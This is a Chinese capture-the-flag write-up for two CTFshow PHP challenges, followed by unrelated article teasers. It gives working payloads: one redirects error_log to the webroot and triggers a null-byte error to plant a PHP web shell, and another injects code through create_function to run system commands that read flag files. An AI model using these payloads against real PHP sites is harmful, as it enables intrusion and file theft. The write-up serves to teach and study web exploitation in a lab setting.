CTFshow 限时活动 红包挑战7、红包挑战8

news/2024/12/29 0:07:41/

CTFshow红包挑战7

写不出来一点,还是等了官方wp之后才复现。

image-20230814014654410

image-20230809140127263

直接给了源码

image-20230809140136952

<?php
highlight_file(__FILE__);
error_reporting(2);extract($_GET);
ini_set($name,$value);system("ls '".filter($_GET[1])."'"
);function filter($cmd){$cmd = str_replace("'","",$cmd);$cmd = str_replace("\\","",$cmd);$cmd = str_replace("`","",$cmd);$cmd = str_replace("$","",$cmd);return $cmd;
}

extract:从数组中将变量导入到当前的符号表

ini_set:为一个配置选项设置值(我们可以修改配置项)

报错等级是2。他限定只能使用ls 什么什么,而且filter自定义函数过滤了'\ 、`` $这四个字符。不好使用闭合来绕过对getshell`的限制。

既然ls 什么什么里面的什么什么可以控制,那就先遍历目录来看看吧。

?1=/usr/local/lib/php/extensions/no-debug-non-zts-20180731/

当前环境存在5个扩展,包含xdebug。分别是mysqli.so opcache.so pdo_mysql.so sodium.so xdebug.so

image-20230814004001812


PHP版本是7.3.22

image-20230809145714849


输入?1=/,服务端内部语句拼接为ls '/'。返回了根目录下所有文件。

image-20230809141940032

flag应该就在flag文件中


开始思索题目。感觉关键代码是这三句:

//不同寻常的报错等级
error_reporting(2);//修改$name,$value
extract($_GET);//开启某个配置项
ini_set($name,$value);

程序执行期间的ini_set不能disable_functions,无法直接禁用str_replace函数


知识点:

xdebug在处理截断问题的时候,会将异常payload回显。而system刚好可以用0字节(%00或者\000)进行截断来触发异常。

思路:

通过触发异常后,将回显的内容(可控)写入到web目录(修改配置项,把报错写入自定义报错日志)。即可实现写马到文件。

ini_set("display_errors", "On");//打开错误提示,与题目无关,只是扩展
ini_set("error_reporting",E_ALL);//显示所有错误,与题目无关,只是扩展ini_set("error_log",""/var/www/html/1.php");
//把报错信息写入web目录下的1.php文件中

尝试看看报错,%00确实能截断导致报错。

image-20230814011351613

payload:

?name=error_log&value=/var/www/html/1.php&1=%00<?php system("cat /f*");?>

image-20230814011519435

可以发现,报错已经写入自定义的报错日志,同时,报错代码被自动执行了。

image-20230814011539368


此外,官方wp还给了一种造成报错的方法:

/?name=error_log&value=1.php
&1=("%0C%08%00%00"^"`{ %2f")<?php system("cat /*");?>
("%0C%08%00%00"^"`{ %2f")即EKc ^URL编码后EKc%20%02^

image-20230814014146477

但是直接

?name=error_log&value=1.php
&1=EKc%20%02^<?php system("cat /*");?>

是无法造成报错的,这种造成报错方式有待细细研究。

image-20230814011817769

image-20230814011839275

CTFshow红包挑战8

考点:PHP create_function

扩展练习(相关题目):NSS [NISACTF 2022]level-up

源码直接给了。

<?phphighlight_file(__FILE__);
error_reporting(0);extract($_GET);
create_function($name,base64_encode($value))();
?>

create_function($name,base64_encode($value))();相当于创建匿名函数后直接执行。就像nmhs();这样。

其中,$name是参数,base64_encode($value)是要执行的代码段,但是这里base64编码过了,执行不了。

可以看作如下代码:(片段1)【一定要当作函数片段来看,而不是一行有参数的函数调用】

nmhs($name){base64_encode($value)
}

那我就不要base64_encode($value),直接从$name开始构造。

先看看payload:

?value=Jay17&name=){}phpinfo();/*

我们把payload中$name带入片段1。

片段1nmhs($name){base64_encode($value)
}
带入$name
nmhs(){}phpinfo();/*){base64_encode($value)
}
整理一下
nmhs(){}phpinfo();
/*){base64_encode($value)
}

最终payload:

?value=Jay17&name=){}system("cat /flag");/*

image-20230812161026056


http://www.ppmy.cn/news/1033173.html

相关文章

在矩池云使用 ChatGLM2-6B ptuning

本文参考 ChatGLM2-6B 官方文档&#xff0c;在矩池云复现了对于 ChatGLM2-6B 模型基于 P-Tuning v2 的微调。P-Tuning v2 将需要微调的参数量减少到原来的 0.1%&#xff0c;再通过模型量化、Gradient Checkpoint 等方法&#xff0c;最低只需要 7GB 显存即可运行。 官方文档地址…

《测试设计思想》——图书推荐

前言&#xff1a; 在当今软件行业飞速发展的时代&#xff0c;软件测试的重要性日益凸显。为了帮助读者提高测试效率和测试质量&#xff0c;清华大学出版社推出了一本名为《测试设计思想》的书籍&#xff0c;由知名专家周海旭老师撰写。这本书深入探讨了测试设计的思想和方法&am…

深入探讨代理技术:保障网络安全与高效爬虫

1. Socks5代理与IP代理的区别与应用 Socks5代理和IP代理是代理技术中的两个重要方面&#xff0c;它们有着不同的特点和应用场景。Socks5代理是一种协议&#xff0c;支持TCP和UDP流量传输&#xff0c;适用于需要实时数据传输的场景&#xff0c;例如在线游戏或实时通信应用。而I…

win11右下角图标(网络,音量,电量)点击无反应问题,两分钟解决!

win11系统用的好好的&#xff0c;突然有一天任务栏右下角的常用三件套&#xff08;网络&#xff0c;音量&#xff0c;电量&#xff09;左键单击没反应&#xff0c;无法方便的调节音量和连接wifi&#xff0c;如下图所示&#xff0c;但是右键好用&#xff0c;不过不方便。网上查了…

Nginx安装及Minio集群反向动态代理配置(二)

安装所需插件 1、安装gcc gcc是linux下的编译器在此不多做解释&#xff0c;感兴趣的小伙伴可以去查一下相关资料&#xff0c;它可以编译 C,C,Ada,Object C和Java等语言 命令&#xff1a;查看gcc版本 [rootwww ~]# gcc -v -bash: gcc: 未找到命令 说明没有安装: 那就直接yu…

【Linux】详解进程状态之僵尸进程——孤儿进程

目录 &#x1f31e;专栏导读 &#x1f31b;什么是进程 ⭐什么是PCB&#xff1f; &#x1f31b;查看进程 &#x1f31b;如何通过系统调用查看进程PID &#x1f31b;fork &#x1f31e;认识进程状态 &#x1f31b;查看进程状态 &#x1f31b;R状态 ⭐例如&#xff1a…

电脑屏幕闪烁?别慌!解决方法在这!

“我新买了一台电脑&#xff0c;还没用几天呢&#xff0c;就出现了电脑屏幕闪烁的情况&#xff0c;这让我感到很烦躁。有什么方法可以解决电脑屏幕闪烁的问题呢&#xff1f;” 使用电脑的过程中&#xff0c;我们不难发现电脑屏幕有时候会出现闪烁的情况&#xff0c;这会导致使用…

【业务功能篇63】Springboot聊聊 过滤器和拦截器

过滤器的场景&#xff1a;过滤器通常用于对数据或资源进行筛选、修改或转换的场景。例如&#xff0c;在一个电子商务网站中&#xff0c;用户进行商品搜索时&#xff0c;你可以使用过滤器来过滤特定的商品类别、价格范围或其他条件&#xff0c;以便用户仅看到符合筛选条件的结果…